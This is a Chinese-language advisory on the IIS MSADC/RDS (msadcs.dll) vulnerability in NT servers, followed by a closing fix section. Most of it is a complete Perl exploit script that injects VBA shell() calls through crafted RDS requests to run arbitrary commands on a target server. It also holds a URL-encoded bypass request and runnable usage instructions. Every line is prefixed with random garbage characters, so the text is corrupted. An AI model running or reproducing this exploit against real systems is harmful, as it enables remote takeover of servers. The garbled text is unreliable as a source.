IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
ASS<XNP + >tSO!}[ 涉及程序：
,]@Sytky Microsoft NT server
t,~feW, Ch=jt*0 描述：
YyY?<<z% 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
47 &p*= | m #" 详细：
Sfi1bsK 如果你没有时间读详细内容的话，就删除:
![[: Z c:\Program Files\Common Files\System\Msadc\msadcs.dll
N]I:: 有关的安全问题就没有了。
Vvn~G.&) Q9g^'a 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Bgs U:eKe Qoz4 (~I 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
u Y&t9L8 关于利用ODBC远程漏洞的描述，请参看:
'U rx83 0b=0 0./o http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 9WL$3z'* Fp+f ZU 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
On ;7 http://www.microsoft.com/security/bulletins/MS99-025faq.asp !'bZ|j% 8[)"+IFN 这里不再论述。
9*a" ^ 2"Ki5 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
BS?rKtdm( ;0dl /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Jk`0yJi$q 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Qj9'V I> & SG)|4$" ~. 5[ #将下面这段保存为txt文件，然后: "perl -x 文件名"
n}J!?zZc 4g+o/+6!4 #!perl
ad<ZdO*h #
/p{$HkVw # MSADC/RDS 'usage' (aka exploit) script
T#YJ5Xw #
F@xKL;'N74 # by rain.forest.puppy
dsZ-|C #
KctbNMU]k # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
2 o5u0 2x # beta test and find errors!
z7 J hS| ib(4Y%U6~ use Socket; use Getopt::Std;
7]
>z e getopts("e:vd:h:XR", \%args);
DbN_ (mC Vpxsg CS print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
c*V/2"
5 F,xFeq$/{ if (!defined $args{h} && !defined $args{R}) {
239g pf]} print qq~
Zx|VOl,; Usage: msadc.pl -h <host> { -d <delay> -X -v }
E7U.>8C -h <host> = host you want to scan (ip or domain)
xQs._YY -d <seconds> = delay between calls, default 1 second
[58qC: -X = dump Index Server path table, if available
:W[d&e -v = verbose
KhNE_.
Z -e = external dictionary file for step 5
=nUz BL%~ ;+~Phdy Or a -R will resume a command session
tIW~Ng j[$+hh3: ~; exit;}
Mir(
}E <OGXKv@ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
XNkZ^ 3m q if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
.#Lu/w' -M if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
BK foeN)% if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
VBg
M7d $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
r4pR[G._ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Nf9$q| %! %xwtG:IKEV if (!defined $args{R}){ $ret = &has_msadc;
j>O!|V die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
o=Kd9I# KD8,a+GL print "Please type the NT commandline you want to run (cmd /c assumed):\n"
rUBc5@| . "cmd /c ";
(p? B= $in=<STDIN>; chomp $in;
>'{'v[qR[G $command="cmd /c " . $in ;
xU;Q ~( 5J*h7 if (defined $args{R}) {&load; exit;}
MgQb" qx $$---Y print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
*qw//W &try_btcustmr;
bP1]:^ x@W ?_@Mg\Hc print "\nStep 2: Trying to make our own DSN...";
4nD U-P#f &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
CQET 9y*pn|A[F print "\nStep 3: Trying known DSNs...";
cG4$)q ;q &known_dsn;
wGx*Xy1n< 2]_f NCNLN print "\nStep 4: Trying known .mdbs...";
6V @ [< d &known_mdb;
=\x(Rs3 IUwMIHq&sW if (defined $args{e}){
aeTVcq
print "\nStep 5: Trying dictionary of DSN names...";
HhT6gJWrU &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
a>)|SfsE FrQRHbp3 print "Sorry Charley...maybe next time?\n";
hR~~k~84 exit;
`j(-y`fo uVLKR PY ##############################################################################
LVNJlRK p a6-3c sub sendraw { # ripped and modded from whisker
F)uS2 sleep($delay); # it's a DoS on the server! At least on mine...
c~n: xblv my ($pstr)=@_;
<):= mr7 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
;
Ne|H$N die("Socket problems\n");
j%Z%_{6Ds* if(connect(S,pack "SnA4x8",2,80,$target)){
S!.H _=z%p select(S); $|=1;
fqD1Ej print $pstr; my @in=<S>;
JX2@i8[~ select(STDOUT); close(S);
u|M_O5^ return @in;
ivP#qM1*; } else { die("Can't connect...\n"); }}
j#
!U6T oTxE]a, ##############################################################################
sEEyN3 N z-; {pPZ sub make_header { # make the HTTP request
S,^)\=v my $msadc=<<EOT
r(
8!SVX POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
qku !Mg User-Agent: ACTIVEDATA
{Nny .@P)H Host: $ip
8G| kKpX Content-Length: $clen
gw v
s Connection: Keep-Alive
Y
#6G&)M ^ub@ Jwe ADCClientVersion:01.06
N&-J,p~ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
sB%QqFRP vuNq7V*} --!ADM!ROX!YOUR!WORLD!
tF~D! t@ Content-Type: application/x-varg
o_on/{qz Content-Length: $reqlen
{_>}K } ^n346^ EOT
pJ3Yjm[l ; $msadc=~s/\n/\r\n/g;
9*j$U$:' return $msadc;}
[BKX$A:Y i>= !6Hu2 ##############################################################################
NT<vs"<B h4k.1yH; sub make_req { # make the RDS request
_*LgpZ-2( my ($switch, $p1, $p2)=@_;
Z-rHYfa4 my $req=""; my $t1, $t2, $query, $dsn;
TAKv E=a; hScC< =W if ($switch==1){ # this is the btcustmr.mdb query
.{
r
%C4q9 $query="Select * from Customers where City=" . make_shell();
_ Xzl=j9[ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
*MZa|Xy $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
oTLpq:9J [W*Q~Wvp elsif ($switch==2){ # this is general make table query
f,'9Bj. ~ $query="create table AZZ (B int, C varchar(10))";
}\/
3B_X6N $dsn="$p1";}
KVZ-T1K ? Y\hC0a60 elsif ($switch==3){ # this is general exploit table query
=p 7eP $query="select * from AZZ where C=" . make_shell();
,K ~r':ht $dsn="$p1";}
l"1at eM3 QK@[ b3-h1 elsif ($switch==4){ # attempt to hork file info from index server
&ub0t9R $query="select path from scope()";
@w5x;uB|%G $dsn="Provider=MSIDXS;";}
Eao^/MKx- [7@9wa1v! elsif ($switch==5){ # bad query
!OL[1_-4|K $query="select";
1CpIK$/ $dsn="$p1";}
"=3bL>\ < % Ae43 $t1= make_unicode($query);
:|PgGhW $t2= make_unicode($dsn);
"6
\_/l $req = "\x02\x00\x03\x00";
z"j]m_m H $req.= "\x08\x00" . pack ("S1", length($t1));
|++\"g $req.= "\x00\x00" . $t1 ;
/O&{fo $req.= "\x08\x00" . pack ("S1", length($t2));
,RIC _26 $req.= "\x00\x00" . $t2 ;
s 8iB>-dk $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
fH*1.0f]6 return $req;}
s2t9+ZA+s Uy5G,! ##############################################################################
:~%{ m9 D' yXZ sub make_shell { # this makes the shell() statement
] c~W$h+F return "'|shell(\"$command\")|'";}
IJ#+"(?7,u Auk#pO# ##############################################################################
(hFyp}jkk $hq'9}ASOL sub make_unicode { # quick little function to convert to unicode
5><KTya?= my ($in)=@_; my $out;
l/g6Tv `w for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
.}e Pm( return $out;}
~"}o^#@DwJ Z ,}c) ##############################################################################
= &"x6F.` kYnp$8 sub rdo_success { # checks for RDO return success (this is kludge)
;X)b= my (@in) = @_; my $base=content_start(@in);
Bb zm q if($in[$base]=~/multipart\/mixed/){
]x :>!y return 1 if( $in[$base+10]=~/^\x09\x00/ );}
3T84f[CFJ return 0;}
br4?_, q3}WO] TBj ##############################################################################
~1.B
fOR8 \_8.\o"@*# sub make_dsn { # this makes a DSN for us
VL 2+"< my @drives=("c","d","e","f");
^&Wa?
m. print "\nMaking DSN: ";
y`8 bx94jB foreach $drive (@drives) {
iTIYq0u|#R print "$drive: ";
E2u9>m4_J my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
=]m,7 v Rq "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
EUjA-L( . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
j Sd[ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
()o[(Hx+ph return 0 if $2 eq "404"; # not found/doesn't exist
z6 x`O-\ if($2 eq "200") {
gOLN7K-) foreach $line (@results) {
&"'Z)iWm return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
uN+]q qCf } return 0;}
Z+g9!@' a Q]hl+C$d"/ ##############################################################################
g`r4f%O ~Y 3X* sub verify_exists {
l _g JC. my ($page)=@_;
(L'|n *Cr my @results=sendraw("GET $page HTTP/1.0\n\n");
Qs\*r@6? return $results[0];}
$~)YI/b W@FSQ8b>$m ##############################################################################
0AD8X +M{P ^\C Fke= sub try_btcustmr {
gi #dSd1\& my @drives=("c","d","e","f");
I#PhzG C@ my @dirs=("winnt","winnt35","winnt351","win","windows");
vtF|: *h EaKbG> foreach $dir (@dirs) {
i)th] 1K% print "$dir -> "; # fun status so you can see progress
am+w<NJ(us foreach $drive (@drives) {
P^[y~I#{ print "$drive: "; # ditto
K n,td:( $reqlen=length( make_req(1,$drive,$dir) ) - 28;
14z
?X% $reqlenlen=length( "$reqlen" );
EFn[[<&><t $clen= 206 + $reqlenlen + $reqlen;
P "%f8C~r \dJ OZ2J<z my @results=sendraw(make_header() . make_req(1,$drive,$dir));
zyP9
n[e Z if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
&>P<Zw- else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
U U*v5& \- 8S" ##############################################################################
_o7t| pl~ zEk /15 sub odbc_error {
SW)jDy my (@in)=@_; my $base;
A~({vb' my $base = content_start(@in);
zvK'j"Wq= if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
D`R~d;U~ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
SFR <T $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/ }Pj^^6A< $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
z)Lw\H^/ return $in[$base+4].$in[$base+5].$in[$base+6];}
l KG' KR. print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
) fQ1U print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
'Y0h w $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
53WCF[ 6{! Cx9V ##############################################################################
DM,)nh6' kgh0 sub verbose {
(7Ln~J* my ($in)=@_;
pGd@%/]AO return if !$verbose;
Z rv:uEl print STDOUT "\n$in\n";}
o 3 JSh= F -Bj ##############################################################################
==AmL] * pp@O6 sub save {
otX/sg.B* my ($p1, $p2, $p3, $p4)=@_;
|u]IOw&1 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
xVk5% print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Ey=ymf.} close OUT;}
<$? ?Z;6 7n,=`0{r ##############################################################################
XK&G `cJ[ -2'1KAk-W sub load {
q_cP<2`@V my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
>& ENrvaJ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
0f#xyS 3 @p=<IN>; close(IN);
%,(X R` $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
@FZbp $target= inet_aton($ip) || die("inet_aton problems");
^.9D f A0 print "Resuming to $ip ...";
ohjl*dw $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
2Z>8ROv^X if($p[1]==1) {
Eq|5PE^7 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
25 cJA4 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
(hEg&@ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
(67byO{ if (rdo_success(@results)){print "Success!\n";}
u+^KP>rM( else { print "failed\n"; verbose(odbc_error(@results));}}
8u%,5GV>Xr elsif ($p[1]==3){
yLPP6_59$ if(run_query("$p[3]")){
l <p(zLR print "Success!\n";} else { print "failed\n"; }}
Y"L |D,ex elsif ($p[1]==4){
QBh*x/J if(run_query($drvst . "$p[3]")){
@C%6Wo4l3 print "Success!\n"; } else { print "failed\n"; }}
IhRdn1& exit;}
zf>*\pZE (eAz
nTU ##############################################################################
~ #7@;C<nt 0SQrz$ y sub create_table {
pHXs+Ysw+ my ($in)=@_;
bh(} f.@
9 $reqlen=length( make_req(2,$in,"") ) - 28;
?) T@qn+ $reqlenlen=length( "$reqlen" );
<4n"LJ9 $clen= 206 + $reqlenlen + $reqlen;
@lWYc `>} my @results=sendraw(make_header() . make_req(2,$in,""));
=3 ovaP return 1 if rdo_success(@results);
9kh MG$ my $temp= odbc_error(@results); verbose($temp);
[(eX\kL return 1 if $temp=~/Table 'AZZ' already exists/;
=X9fn return 0;}
m/"([Y_ W,"Re,`H ##############################################################################
u=tp80_ *?\u5O( sub known_dsn {
UVXSW*$ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
,}O33BwJp my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
C`R<55x6 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
{Kf5a
m "banner", "banners", "ads", "ADCDemo", "ADCTest");
A{e>7Z72 qV;I<AM foreach $dSn (@dsns) {
9 J?lNq print ".";
/EG'I{ oC next if (!is_access("DSN=$dSn"));
hw.>HT|.N if(create_table("DSN=$dSn")){
"7'P Lo3O print "$dSn successful\n";
s/B_ if(run_query("DSN=$dSn")){
:d pw r 9) print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
RL$%Vy0 print "Something's borked. Use verbose next time\n";}}} print "\n";}
&Q#*Nnb3 g/_0WW] } ##############################################################################
)E}@h%d k>\v]&|T` sub is_access {
684d&\(s my ($in)=@_;
vw4b@v-XQ3 $reqlen=length( make_req(5,$in,"") ) - 28;
Oxa 8u e? $reqlenlen=length( "$reqlen" );
} %z%}V@(& $clen= 206 + $reqlenlen + $reqlen;
<n b%$2r1 my @results=sendraw(make_header() . make_req(5,$in,""));
K8Q3~bMf my $temp= odbc_error(@results);
P@f# DX
) verbose($temp); return 1 if ($temp=~/Microsoft Access/);
k'k}/Hxub return 0;}
C
fM[<w
K yyVO" ##############################################################################
([
-i5 U1 HG{u,"y sub run_query {
ec`re+1r my ($in)=@_;
+*Z'oC BJ, $reqlen=length( make_req(3,$in,"") ) - 28;
h!v< J $reqlenlen=length( "$reqlen" );
$wi4cHh $clen= 206 + $reqlenlen + $reqlen;
rwVp}H G
my @results=sendraw(make_header() . make_req(3,$in,""));
reNf?7G+m return 1 if rdo_success(@results);
[sjkm+
? my $temp= odbc_error(@results); verbose($temp);
PZ`11#bbm return 0;}
zj(V\ y&H #]6{>n1*+w ##############################################################################
L~^5Ez6U q2s0g*z sub known_mdb {
cdh0b7tj n my @drives=("c","d","e","f","g");
r~2hTie my @dirs=("winnt","winnt35","winnt351","win","windows");
7RWgc]@?> my $dir, $drive, $mdb;
El@*Fo my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
d$ n31F ZOM Yo ] # this is sparse, because I don't know of many
NPrLM5 my @sysmdbs=( "\\catroot\\icatalog.mdb",
[8^q3o7n "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
hl7 z1h "\\system32\\certmdb.mdb",
/aMOZ=,q} "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
aWlIq(dU EwX{ i}j_V my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
w]yVNB "\\cfusion\\cfapps\\forums\\forums_.mdb",
amdgb,vh "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
} c k <R "\\cfusion\\cfapps\\security\\realm_.mdb",
{?5iK1|}K "\\cfusion\\cfapps\\security\\data\\realm.mdb",
,`k&9o7 "\\cfusion\\database\\cfexamples.mdb",
Dsp$Nr%* "\\cfusion\\database\\cfsnippets.mdb",
Z.u 1Dz "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
jS~Pdz "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Y)DX "\\cfusion\\brighttiger\\database\\cleam.mdb",
DJ@n$G`^^ "\\cfusion\\database\\smpolicy.mdb",
o.Rv<a5.L "\\cfusion\\database\cypress.mdb",
6[4VbIBSI "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
#XA`n@2Uoo "\\website\\cgi-win\\dbsample.mdb",
B ~N3k "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Qj;{Z*l%+ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
{x.0Yh7 ); #these are just
nvT@ 'y+ foreach $drive (@drives) {
)t"-#$,@ foreach $dir (@dirs){
IlB8~{p_ foreach $mdb (@sysmdbs) {
_1&Ar4: print ".";
9i}$245lB if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
y:}qoT_. print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
TK v!wKI if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
a!E22k?((z print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
*$W&jfW } else { print "Something's borked. Use verbose next time\n"; }}}}}
UUlz3" ` n\l?+)S * foreach $drive (@drives) {
&v0-$ foreach $mdb (@mdbs) {
m;]wKd" print ".";
Cp m T * if(create_table($drv . $drive . $dir . $mdb)){
P|bow+4 print "\n" . $drive . $dir . $mdb . " successful\n";
-]HZ?@ if(run_query($drv . $drive . $dir . $mdb)){
*
l1*zaE print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
;_)~h$1%= } else { print "Something's borked. Use verbose next time\n"; }}}}
3g;, }
+Gt9!x}#e m]!hP^^ ##############################################################################
)/%5f{+} P+}~6}wJE sub hork_idx {
ft6)n T/"& print "\nAttempting to dump Index Server tables...\n";
8zD>t~N2C print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
xF8n=Lc $reqlen=length( make_req(4,"","") ) - 28;
cQyN @W $reqlenlen=length( "$reqlen" );
z'_Fg0kR{ $clen= 206 + $reqlenlen + $reqlen;
qrYbc~jI7 my @results=sendraw2(make_header() . make_req(4,"",""));
uW(-? if (rdo_success(@results)){
^ls@Gr7`P my $max=@results; my $c; my %d;
v 62_VT2v for($c=19; $c<$max; $c++){
0D mA3 $results[$c]=~s/\x00//g;
/oHCV0!0
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
[jzsB:;XB& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
AtG~ !)hG $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
_ (F-(X| $d{"$1$2"}="";}
kFWwz^x foreach $c (keys %d){ print "$c\n"; }
]`|$ nU}v } else {print "Index server doesn't seem to be installed.\n"; }}
0bDc
4m oT) :#,s ##############################################################################
M}x%'=Pox **Ioy+ sub dsn_dict {
iVI& open(IN, "<$args{e}") || die("Can't open external dictionary\n");
% S^hqC while(<IN>){
05 q760I+ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
BsIF3sS#9 next if (!is_access("DSN=$dSn"));
[~ s+,OO9) if(create_table("DSN=$dSn")){
QDg5B6>$ print "$dSn successful\n";
@@Ybg6.+* if(run_query("DSN=$dSn")){
N 3|:MMl print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
)}`z<)3jP print "Something's borked. Use verbose next time\n";}}}
F Osd{Fw print "\n"; close(IN);}
# dWz,e3 Lj<TzPzg* ##############################################################################
P_1 WJ hpF_@n
sub sendraw2 { # ripped and modded from whisker
FfJp::|ddr sleep($delay); # it's a DoS on the server! At least on mine...
j8`
B my ($pstr)=@_;
"/aZ*mkjfJ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
PN
l/}' die("Socket problems\n");
j 2MA['{ if(connect(S,pack "SnA4x8",2,80,$target)){
O8@65URKx print "Connected. Getting data";
0Id e k open(OUT,">raw.out"); my @in;
- [7 +g select(S); $|=1; print $pstr;
?ZlXh51 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
})/ P[^ close(OUT); select(STDOUT); close(S); return @in;
x z8e1M } else { die("Can't connect...\n"); }}
Xfq`k/ W yS
W$zA, ##############################################################################
'^m.vS!/ 3\XNOJH sub content_start { # this will take in the server headers
cmG27\c RO my (@in)=@_; my $c;
;{sZDjev> for ($c=1;$c<500;$c++) {
d&FXndC4F if($in[$c] =~/^\x0d\x0a/){
BV~J*e if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
&)1 .z7T else { return $c+1; }}}
STW?0B'Jr return -1;} # it should never get here actually
)[Tm[o?Y. rv*{[K ##############################################################################
L3, /7 |IcW7( sub funky {
F]
c\Qt my (@in)=@_; my $error=odbc_error(@in);
'@t$3
hk if($error=~/ADO could not find the specified provider/){
T7 ,]^
1 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
`MOw\Z).. exit;}
M*zpl} if($error=~/A Handler is required/){
=GX5T(P8k print "\nServer has custom handler filters (they most likely are patched)\n";
+#FqC/`l exit;}
Z6Fu~D2U y if($error=~/specified Handler has denied Access/){
OX7=g$S 1 print "\nServer has custom handler filters (they most likely are patched)\n";
hu}$ \ exit;}}
e"S?qpJK P51M?3&=l ##############################################################################
R5uG.Oj-2 b w P=f. sub has_msadc {
%;' ~TtW5 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
j &d5tgLB my $base=content_start(@results);
, _e [P return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
M}\h?s return 0;}
kK[4uQQ MbRTOH ########################
oe*1jR_J`[ t eY@) F zEI+)|4?r 解决方案：
q5(t2nNb 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
M&V' *.xz 2、移除web 目录: /msadc
